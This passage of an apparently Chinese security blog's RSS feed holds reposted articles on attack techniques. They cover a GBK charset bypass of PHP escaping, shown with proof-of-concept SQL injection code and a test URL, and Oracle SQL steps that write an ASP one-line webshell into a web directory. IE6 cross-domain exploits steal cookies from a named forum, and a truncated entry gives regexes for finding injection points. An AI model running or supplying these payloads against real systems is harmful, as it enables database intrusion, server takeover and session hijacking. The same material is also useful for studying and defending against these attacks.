		<link>http://www.nuanyue.com/php%e5%ad%97%e7%ac%a6%e7%bc%96%e7%a0%81%e7%bb%95%e8%bf%87%e6%bc%8f%e6%b4%9e%e6%80%bb%e7%bb%93.html</link>
		<comments>http://www.nuanyue.com/php%e5%ad%97%e7%ac%a6%e7%bc%96%e7%a0%81%e7%bb%95%e8%bf%87%e6%bc%8f%e6%b4%9e%e6%80%bb%e7%bb%93.html#comments</comments>
		<pubDate>Sat, 23 May 2009 00:11:47 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Application Security | 应用安全]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=522</guid>
		<description><![CDATA[<p>作者：<a href="http://www.cnblogs.com/Safe3/archive/2008/08/22/1274095.html" target="_blank">Safe3</a></p>
<p>其实这东西国内少数黑客早已知道，只不过没有共享公布而已。有些人是不愿共享，宁愿烂在地里，另外的一些则是用来牟利。<br />
该漏洞最早2006年被国外用来讨论数据库字符集设为GBK时，0xbf27本身不是一个有效的GBK字符，但经过 addslashes() 转换后</p>
<p>变为0xbf5c27，前[......]</p><p class='read-more'><a href='http://www.nuanyue.com/php%e5%ad%97%e7%ac%a6%e7%bc%96%e7%a0%81%e7%bb%95%e8%bf%87%e6%bc%8f%e6%b4%9e%e6%80%bb%e7%bb%93.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>作者：<a href="http://www.cnblogs.com/Safe3/archive/2008/08/22/1274095.html" target="_blank">Safe3</a></p>
<p>其实这东西国内少数黑客早已知道，只不过没有共享公布而已。有些人是不愿共享，宁愿烂在地里，另外的一些则是用来牟利。<br />
该漏洞最早2006年被国外用来讨论数据库字符集设为GBK时，0xbf27本身不是一个有效的GBK字符，但经过 addslashes() 转换后</p>
<p>变为0xbf5c27，前面的0xbf5c是个有效的GBK字符，所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理，结果漏洞就触</p>
<p>发了。</p>
<p>mysql_real_escape_string() 也存在相同的问题，只不过相比 addslashes() 它考虑到了用什么字符集来处理，因此可以用相</p>
<p>应的字符集来处理字符。在MySQL 中有两种改变默认字符集的方法。</p>
<p>方法一：</p>
<p>改变mysql配置文件my.cnf</p>
<p>CODE:<br />
[client]<br />
default-character-set=GBK<br />
方法二：<br />
在建立连接时使用<br />
CODE:<br />
SET CHARACTER SET &#8216;GBK&#8217;<br />
例：mysql_query(&#8220;SET CHARACTER SET &#8216;gbk&#8217;&#8221;, $c);<br />
问题是方法二在改变字符集时mysql_real_escape_string() 并不知道而使用默认字符集处理从而造成和 addslashes() 一样的漏洞<br />
下面是来自http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的测试代码</p>

<div class="wp_codebox"><table><tr id="p5223"><td class="code" id="p522code3"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;!--</span>p
&nbsp;
<span style="color: #000088;">$c</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_connect</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;localhost&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;user&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;pass&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">mysql_select_db</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;database&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$c</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// change our character set</span>
<span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SET CHARACTER SET 'gbk'&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$c</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// create demo table</span>
<span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;CREATE TABLE users (
    username VARCHAR(32) PRIMARY KEY,
    password VARCHAR(32)
) CHARACTER SET 'GBK'&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$c</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;INSERT INTO users VALUES('foo','bar'), ('baz','test')&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$c</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// now the exploit code</span>
<span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'username'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #990000;">chr</span><span style="color: #009900;">&#40;</span><span style="color: #208080;">0xbf</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #990000;">chr</span><span style="color: #009900;">&#40;</span><span style="color: #208080;">0x27</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">' OR username = username /*'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'password'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'anything'</span><span style="color: #339933;">;</span> 
&nbsp;
<span style="color: #666666; font-style: italic;">// Proper escaping, we should be safe, right?</span>
<span style="color: #000088;">$user</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_real_escape_string</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'username'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$c</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$passwd</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_real_escape_string</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'password'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$c</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$sql</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;SELECT * FROM  users WHERE  username = '<span style="color: #006699; font-weight: bold;">{$user}</span>' AND password = '<span style="color: #006699; font-weight: bold;">{$passwd}</span>'&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sql</span><span style="color: #339933;">,</span> <span style="color: #000088;">$c</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #990000;">mysql_num_rows</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$res</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// will print 2, indicating that we were able to fetch all records</span>
&nbsp;
<span style="color: #339933;">--&gt;</span></pre></td></tr></table></div>

<p>纵观以上两种触发漏洞的关键是addslashes() 在Mysql配置为GBK时就可以触发漏洞，而mysql_real_escape_string() 是在不知<br />
道字符集的情况下用默认字符集处理产生漏洞的。<br />
下面再来分析下国内最近漏洞产生的原因。<br />
问题出现在一些字符转换函数上，例如mb_convert_encoding()和iconv()等。<br />
发布在80sec上的说明说0xc127等一些字符再被addslashes() 处理成0xc15c27后，又经过一些字符转换函数变为0×808027，而使得经过<br />
addslashes() 加上的&#8221;\&#8221;失效，这样单引号就又发挥作用了。这就造成了字符注入漏洞。<br />
根据80sec的说明，iconv()没有该问题，但经我用0xbf27测试<br />
$id1=mb_convert_encoding($_GET['id'], &#8216;utf-8&#8242;, &#8216;gbk&#8217;);<br />
$id2=iconv(&#8216;gbk//IGNORE&#8217;, &#8216;utf-8&#8242;, $_GET['id']);<br />
$id3=iconv(&#8216;gbk&#8217;, &#8216;utf-8&#8242;, $_GET['id']);<br />
这些在GPC开启的情况下还是会产生字符注入漏洞，测试代码如下：</p>

<div class="wp_codebox"><table><tr id="p5224"><td class="code" id="p522code4"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;!--</span>p
&nbsp;
<span style="color: #000088;">$c</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_connect</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;localhost&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;user&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;pass&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">mysql_select_db</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;database&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$c</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// change our character set</span>
<span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SET CHARACTER SET 'gbk'&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$c</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// create demo table</span>
<span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;CREATE TABLE users (
    username VARCHAR(32) PRIMARY KEY,
    password VARCHAR(32)
) CHARACTER SET 'GBK'&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$c</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;INSERT INTO users VALUES('foo','bar'), ('baz','test')&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$c</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// now the exploit code</span>
<span style="color: #666666; font-style: italic;">//$id1=mb_convert_encoding($_GET['id'], 'utf-8', 'gbk');</span>
<span style="color: #000088;">$id2</span><span style="color: #339933;">=</span><span style="color: #990000;">iconv</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'gbk//IGNORE'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'utf-8'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #666666; font-style: italic;">//$id3=iconv('gbk', 'utf-8', $_GET['id']);</span>
&nbsp;
<span style="color: #000088;">$sql</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;SELECT * FROM  users WHERE  username = '<span style="color: #006699; font-weight: bold;">{$id2}</span>' AND password = 'password'&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sql</span><span style="color: #339933;">,</span> <span style="color: #000088;">$c</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #990000;">mysql_num_rows</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$res</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// will print 2, indicating that we were able to fetch all records</span>
&nbsp;
<span style="color: #339933;">--&gt;</span></pre></td></tr></table></div>

<p>测试情况 http://www.safe3.cn/test.php?id=%bf%27 OR username = username /*</p>
<p>后记，这里不光是%bf，其它许多字符也可以造成同样漏洞，大家可以自己做个测试的查下，这里有zwell文章提到的一个分析<br />
http://hackme.ntobjectives.com/sql_inject/login_addslashes.php 。编码的问题在xss中也有利用价值，</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/php%e5%ad%97%e7%ac%a6%e7%bc%96%e7%a0%81%e7%bb%95%e8%bf%87%e6%bc%8f%e6%b4%9e%e6%80%bb%e7%bb%93.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ORACLE 建立数据文件WriteWebShell</title>
		<link>http://www.nuanyue.com/oracle-%e5%bb%ba%e7%ab%8b%e6%95%b0%e6%8d%ae%e6%96%87%e4%bb%b6writewebshell.html</link>
		<comments>http://www.nuanyue.com/oracle-%e5%bb%ba%e7%ab%8b%e6%95%b0%e6%8d%ae%e6%96%87%e4%bb%b6writewebshell.html#comments</comments>
		<pubDate>Fri, 22 May 2009 23:59:27 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Application Security | 应用安全]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=513</guid>
		<description><![CDATA[<p>作者：kj021320</p>
<p>其实 类似ORACLE 这样强大的数据库，真没必要用到这么土的办法</p>
<p>SQLJ    存储过程写文件也可以，逼于无奈对方机器不支持SQLJ 还有 UTL_FILE包也被干掉了？</p>
<p>那 也可以 使用以下我说的这个方式</p>
<p> </p>
<p>SQL&#62; create tablespace kjte[......]</p><p class='read-more'><a href='http://www.nuanyue.com/oracle-%e5%bb%ba%e7%ab%8b%e6%95%b0%e6%8d%ae%e6%96%87%e4%bb%b6writewebshell.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>作者：kj021320</p>
<p>其实 类似ORACLE 这样强大的数据库，真没必要用到这么土的办法</p>
<p>SQLJ    存储过程写文件也可以，逼于无奈对方机器不支持SQLJ 还有 UTL_FILE包也被干掉了？</p>
<p>那 也可以 使用以下我说的这个方式</p>
<p> </p>
<p>SQL&gt; create tablespace kjtest datafile &#8216;e:\website\kj.asp&#8217; size 100k nologging ;</p>
<p>表空间已创建。</p>
<p> </p>
<p>这里记住了 100K为ORACLE 表空间最小的单位，如果你的一句话SHELL比较大 那可以200K比较稳妥</p>
<p>但是最终建议一句话一定要最最简洁</p>
<p> </p>
<p>SQL&gt; CREATE TABLE WEBSHELL(C varchar2(100)) tablespace kjtest;</p>
<p>表已创建。</p>
<p> </p>
<p>一般用 VARCHAR类型已经可以 ，表空间太小了 ，所以不可以 为 CLOB或者 BLOB类型。</p>
<p> </p>
<p>SQL&gt; insert into WEBSHELL values(&#8216;&lt;%execute request(&#8220;kj021320&#8243;)%&gt;&#8217;);</p>
<p>已创建 1 行。</p>
<p>SQL&gt; commit;</p>
<p>提交完成。</p>
<p> </p>
<p>提交完成之后就 OK？ NO~ 因为数据还没有被 DBWn 进程刷到文件呢. 所以需要同步一下CKPT以及OFFLINE当前表空间</p>
<p> </p>
<p>SQL&gt; alter tablespace kjtest offline;</p>
<p>表空间已更改。</p>
<p> </p>
<p>到这里 你的 一句话SHELL代码已经 写到 那个文件了</p>
<p>你会发现有这样的 &lt;%execute request(&#8220;kj021320&#8243;)%&gt; Z Z   的 代码</p>
<p>一句话shell已经OK了</p>
<p>最后使用后记得吧 表空间删除</p>
<p> </p>
<p>SQL&gt; drop tablespace kjtest including contents;</p>
<p>表空间已删除。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/oracle-%e5%bb%ba%e7%ab%8b%e6%95%b0%e6%8d%ae%e6%96%87%e4%bb%b6writewebshell.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>浅析浏览器的跨域安全问题</title>
		<link>http://www.nuanyue.com/%e6%b5%85%e6%9e%90%e6%b5%8f%e8%a7%88%e5%99%a8%e7%9a%84%e8%b7%a8%e5%9f%9f%e5%ae%89%e5%85%a8%e9%97%ae%e9%a2%98.html</link>
		<comments>http://www.nuanyue.com/%e6%b5%85%e6%9e%90%e6%b5%8f%e8%a7%88%e5%99%a8%e7%9a%84%e8%b7%a8%e5%9f%9f%e5%ae%89%e5%85%a8%e9%97%ae%e9%a2%98.html#comments</comments>
		<pubDate>Thu, 21 May 2009 05:51:19 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Application Security | 应用安全]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=489</guid>
		<description><![CDATA[<p>作者：rayh4c<br />
    Manuel Caballero大牛在这次的BLUEHAT大会上讲了一个叫A Resident in My Domain<br />
的议题，字面上的意思就是驻留在自己的域，随后开始有牛人在自己BLOG上写了一些相关的<br />
内容，这段时间一直和HI群里的朋友在讨论这个问题，大家都简称为鬼[......]</p><p class='read-more'><a href='http://www.nuanyue.com/%e6%b5%85%e6%9e%90%e6%b5%8f%e8%a7%88%e5%99%a8%e7%9a%84%e8%b7%a8%e5%9f%9f%e5%ae%89%e5%85%a8%e9%97%ae%e9%a2%98.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>作者：rayh4c<br />
    Manuel Caballero大牛在这次的BLUEHAT大会上讲了一个叫A Resident in My Domain<br />
的议题，字面上的意思就是驻留在自己的域，随后开始有牛人在自己BLOG上写了一些相关的<br />
内容，这段时间一直和HI群里的朋友在讨论这个问题，大家都简称为鬼页，这个鬼页非常神奇，<br />
可以跟随你浏览的每个页面。经过鬼页的启发，我也对浏览器的跨域安全问题进行了测试。</p>
<p>1.来自伪协议的呼唤</p>
<p>    JAVASCRIPT里大家都频繁使用window对象，window对象代表的就是浏览器的窗口，我们<br />
就来测试下window对象的open方法，尝试让新开的窗口执行伪协议。</p>
<p>    在本机搭建一个WEB服务器，开始做下实验：</p>
<p>    用各个浏览器浏览 http://127.0.0.1/test.htm ，下面是test.htm的脚本内容：</p>

<div class="wp_codebox"><table><tr id="p48912"><td class="code" id="p489code12"><pre class="html" style="font-family:monospace;">    &lt;script&gt;   
    x=window.open(&quot;about:blank&quot;);
    x.location=&quot;javascript:alert(document.domain)&quot;
    &lt;/script&gt;</pre></td></tr></table></div>

<p>    结果是：</p>
<p>    IE6：执行了伪协议，认为弹出窗口的域是127.0.0.1。<br />
    IE7：执行了伪协议，认为弹出窗口的域是127.0.0.1。<br />
    Firefox：执行了伪协议,认为还没有域为NULL。</p>
<p>    Firefox这里对于这个接口可能也有个BUG，对于IP地址的弹窗Firefox没有辨认出域，但<br />
是在实际绑定域名的情况下还是辨认出了域。</p>
<p>    为了下面的部分方便理解，我把这里弹窗的关系给简称下，原来的窗口叫父页，弹出窗口<br />
叫子页，实验过后我们证明了:</p>
<p>    父页和子页都在同一个域里，父页可以重定向子页的URL地址，甚至执行伪协议。</p>
<p>2.父页和子页的关系</p>
<p>    如果父页让子页访问其他域后，父页和子页是否就脱离关系了呢？</p>
<p>    继续测试，用各个浏览器浏览 http://127.0.0.1/test2.htm ，下面是test2.htm的脚本<br />
内容：</p>

<div class="wp_codebox"><table><tr id="p48913"><td class="code" id="p489code13"><pre class="html" style="font-family:monospace;">    &lt;script&gt;   
    x=window.open(&quot;about:blank&quot;);
    x.location=&quot;http://www.163.com&quot; //访问163网站
    setTimeout(function(){
        x.location=&quot;http://127.0.0.1&quot;;
    },5000)  //5秒后重定向到127.0.0.1
    &lt;/script&gt;</pre></td></tr></table></div>

<p>    这次IE6、IE7、Firefox都达成了一致，实验的结果是子页访问了163网站，5秒然后又跳<br />
回了127.0.0.1。</p>
<p>    所以就算是子页在访问了其他域后，还是会受父页的控制。</p>
<p>3.域与域之间的牵绊</p>
<p>    如果父页让子页访问某个域后，再执行伪协议会有什么效果？</p>
<p>    用各个浏览器浏览 http://127.0.0.1/test3.htm，下面是test3.htm的脚本内容：</p>

<div class="wp_codebox"><table><tr id="p48914"><td class="code" id="p489code14"><pre class="html" style="font-family:monospace;">    &lt;script&gt;   
    x=window.open(&quot;about:blank&quot;);
    x.location=&quot;http://www.163.com&quot;
    setTimeout(function(){
        x.location=&quot;javascript:alert(document.cookie)&quot;;
    },5000)
    &lt;/script&gt;</pre></td></tr></table></div>

<p>    结果是：</p>
<p>    IE6：没有反应。<br />
    IE7：报错，拒绝访问。<br />
    Firefox：报错，alert没有定义。</p>
<p>    这些信息明显的说明，如果子页和父页不在同一个域里，浏览器是不允许父页控制子页<br />
执行伪协议脚本的。</p>
<p>    为了进一步验证，我们让子页打开同一个域里的页面测试：</p>
<p>    用各个浏览器浏览 http://127.0.0.1/test4.htm，下面是test4.htm的脚本内容：</p>

<div class="wp_codebox"><table><tr id="p48915"><td class="code" id="p489code15"><pre class="html" style="font-family:monospace;">    &lt;script&gt; 
    document.cookie=&quot;xss:true&quot;  //给本域设置一个COOKIE为xss:true
    x=window.open(&quot;about:blank&quot;);
    x.location=&quot;http://127.0.0.1&quot;
    setTimeout(function(){
        x.location=&quot;javascript:alert(document.cookie)&quot;;
    },5000)
    &lt;/script&gt;</pre></td></tr></table></div>

<p>    结果IE6、IE7、Firefox都顺利的弹出了COOKIE值，说明如果子页和父页在同一个域里，<br />
浏览器是允许父页控制子页执行伪协议脚本的。</p>
<p>4.安全上的差异</p>
<p>    父页和子页这种微妙的关系，到这里就开始引发安全问题了，PDP等大牛在分析鬼页的时<br />
候给出了EXP:</p>

<div class="wp_codebox"><table><tr id="p48916"><td class="code" id="p489code16"><pre class="html" style="font-family:monospace;">    javascript:x=open(&quot;http://hackademix.net/&quot;);setInterval(function(){try{x.frames[0].location={toString:function(){return &quot;http://www.sirdarckcat.net/caballero-listener.html&quot;;}}}catch(e){}},5000);void(1);</pre></td></tr></table></div>

<p>    EXP按上面三部分的概念解释是：</p>
<p>    父页是A域，父页指定子页访问B域内一个带框架的页面，父页就能够控制B域页面内框架<br />
的URL地址，这个就是典型的跨域操作了。</p>
<p>    鬼页能够跨域操作框架的关键是window.frames[0]方法没有受到域的限制，第二个是让<br />
location指定的地址看起来像个对象而不是参数。</p>
<p>    我们按照鬼页的思路，继续在第3部分的基础上测试下去,将location指定的地址使用<br />
new String()对象处理。</p>
<p>    用各个浏览器浏览 http://127.0.0.1/test5.htm，下面是test5.htm的脚本内容：</p>

<div class="wp_codebox"><table><tr id="p48917"><td class="code" id="p489code17"><pre class="html" style="font-family:monospace;">    &lt;script&gt;   
    x=window.open(&quot;about:blank&quot;);
    x.location=&quot;http://www.163.com&quot;；
    setTimeout(function(){
        x.location=new String(&quot;javascript:alert(document.cookie)&quot;)
    },5000)
    &lt;/script&gt;</pre></td></tr></table></div>

<p>    IE6：弹出COOKIE。<br />
    IE7：报错，拒绝访问。<br />
    Firefox：报错，alert没有定义。</p>
<p>    结果是IE6奇迹般的弹出了COOKIE，我们做到了跨域执行脚本。</p>
<p>5.灾难性的后果</p>
<p>    到这里我们发现了一个IE6的0DAY，一定程度上这个跨域安全问题是灾难性的，如下面的<br />
EXP：</p>

<div class="wp_codebox"><table><tr id="p48918"><td class="code" id="p489code18"><pre class="html" style="font-family:monospace;">    &lt;a href=&quot;&quot;&gt;IE6 Cross Domain Scripting&lt;/a&gt;
    &lt;script&gt;
    function win(){
        x=window.open(&quot;http://www.phpwind.net&quot;);
        setTimeout(function(){
            x.location=new String(&quot;javascript:alert(document.cookie)&quot;)
        },3000)
    }
    window.onload=function(){
        for (i=0;i&lt;document .links.length;i++) { 
            document.links[i].href=&quot;javascript:win()&quot;
        }
    }
    &lt;/script&gt;
&lt;/document&gt;&lt;/script&gt;</pre></td></tr></table></div>

<p>    点击链接后，马上得到了PHPWIND论坛的COOKIE，这就意味着黑客通过类似的攻击可以得<br />
到你访问过的任意网站的COOKIE，然后劫持你的会话。</p>
<p>    这样的漏洞相当于一个没有域限制的XSS漏洞，几乎是无法防御的，网站只能进一步的加<br />
强客户端的会话安全，如使用SSL加密连接、设置安全COOKIE加上HTTPONLY参数、给敏感的<br />
请求操作加上水印等。</p>
<p>6.总结</p>
<p>    这个跨域安全问题的本质是浏览器在处理window对象的操作有所疏漏，没有考虑清楚不<br />
同域有继承关系的window对象操作后的变化，只是对window对象的一些方法的参数做了类似<br />
数据类型的限制，导致最后绕过限制跨域执行了脚本。</p>
<p>    从这个漏洞我们也可以看出IE7的一些新的安全特性，通过继承关系的window对象操作<br />
来跨域执行脚本伪协议最后是判断了域的，IE7已经开始防范类似的攻击。</p>
<p>    但是这里并没有在本质上解决跨域安全问题，IE7只防范了跨域执行脚本，对于其他跨域<br />
的操作仍然是放行的，所以鬼页在IE7下可以跨域操作框架URL，而Firefox却没有存在相同的<br />
问题，说明不同浏览器在安全的考虑上也是存在很多差异的。</p>
<p>    针对IE我又测试了其他对象方法，发现很多都被限制住了，但不排除还有同样的问题存<br />
在。按照类似的思路，大家可以继续尝试挖掘浏览器的一些跨域漏洞。</p>
<p>    最后感谢HI群里共同讨论的朋友。</p>
<p>7.参考</p>
<p>[1] Browser&#8221;s Ghost Busters: http://sirdarckcat.blogspot.com/2008/05/browsers-ghost-busters.html<br />
[2] Ghost Busters: http://www.gnucitizen.org/blog/ghost-busters/</p>
<p>-EOF-</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/%e6%b5%85%e6%9e%90%e6%b5%8f%e8%a7%88%e5%99%a8%e7%9a%84%e8%b7%a8%e5%9f%9f%e5%ae%89%e5%85%a8%e9%97%ae%e9%a2%98.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>EditPlus查找PHP源码简单数字型注入的正则表达式</title>
		<link>http://www.nuanyue.com/editplus%e6%9f%a5%e6%89%bephp%e6%ba%90%e7%a0%81%e7%ae%80%e5%8d%95%e6%95%b0%e5%ad%97%e5%9e%8b%e6%b3%a8%e5%85%a5%e7%9a%84%e6%ad%a3%e5%88%99%e8%a1%a8%e8%be%be%e5%bc%8f.html</link>
		<comments>http://www.nuanyue.com/editplus%e6%9f%a5%e6%89%bephp%e6%ba%90%e7%a0%81%e7%ae%80%e5%8d%95%e6%95%b0%e5%ad%97%e5%9e%8b%e6%b3%a8%e5%85%a5%e7%9a%84%e6%ad%a3%e5%88%99%e8%a1%a8%e8%be%be%e5%bc%8f.html#comments</comments>
		<pubDate>Tue, 12 May 2009 23:53:27 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Application Security | 应用安全]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=473</guid>
		<description><![CDATA[<div class="wp_codebox"><table><tr id="p47319"><td class="code" id="p473code19"><pre class="sql" style="font-family:monospace;"><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">.</span>查找<span style="color: #993333; font-weight: bold;">select</span>、<span style="color: #993333; font-weight: bold;">update</span>、<span style="color: #993333; font-weight: bold;">delete</span>语句
<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span><span style="color: #993333; font-weight: bold;">select</span><span style="color: #66cc66;">&#124;</span>SELECT<span style="color: #66cc66;">&#124;</span>update<span style="color: #66cc66;">&#124;</span>UPDATE<span style="color: #66cc66;">&#124;</span>delete<span style="color: #66cc66;">&#124;</span>DELETE<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">+.*</span><span style="color: #66cc66;">&#40;</span><span style="color: #993333; font-weight: bold;">from</span><span style="color: #66cc66;">&#124;</span>FROM<span style="color: #66cc66;">&#124;</span>set<span style="color: #66cc66;">&#124;</span>SET<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">+.*</span><span style="color: #66cc66;">&#40;</span><span style="color: #993333; font-weight: bold;">where</span><span style="color: #66cc66;">&#124;</span>WHERE<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">+.*</span><span style="color: #66cc66;">&#41;</span>
&#038;nbs[......]</pre></td></tr></table></div><p class='read-more'><a href='http://www.nuanyue.com/editplus%e6%9f%a5%e6%89%bephp%e6%ba%90%e7%a0%81%e7%ae%80%e5%8d%95%e6%95%b0%e5%ad%97%e5%9e%8b%e6%b3%a8%e5%85%a5%e7%9a%84%e6%ad%a3%e5%88%99%e8%a1%a8%e8%be%be%e5%bc%8f.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[
<div class="wp_codebox"><table><tr id="p47320"><td class="code" id="p473code20"><pre class="sql" style="font-family:monospace;"><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">.</span>查找<span style="color: #993333; font-weight: bold;">select</span>、<span style="color: #993333; font-weight: bold;">update</span>、<span style="color: #993333; font-weight: bold;">delete</span>语句
<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span><span style="color: #993333; font-weight: bold;">select</span><span style="color: #66cc66;">|</span>SELECT<span style="color: #66cc66;">|</span>update<span style="color: #66cc66;">|</span>UPDATE<span style="color: #66cc66;">|</span>delete<span style="color: #66cc66;">|</span>DELETE<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">+.*</span><span style="color: #66cc66;">&#40;</span><span style="color: #993333; font-weight: bold;">from</span><span style="color: #66cc66;">|</span>FROM<span style="color: #66cc66;">|</span>set<span style="color: #66cc66;">|</span>SET<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">+.*</span><span style="color: #66cc66;">&#40;</span><span style="color: #993333; font-weight: bold;">where</span><span style="color: #66cc66;">|</span>WHERE<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">+.*</span><span style="color: #66cc66;">&#41;</span>
&nbsp;
查询语句<span style="color: #66cc66;">,</span>对于没有条件判断的基本不存在注入问题，因而仅搜索此语句即可
例子：
<span style="color: #993333; font-weight: bold;">select</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">from</span> user <span style="color: #993333; font-weight: bold;">where</span>
&nbsp;
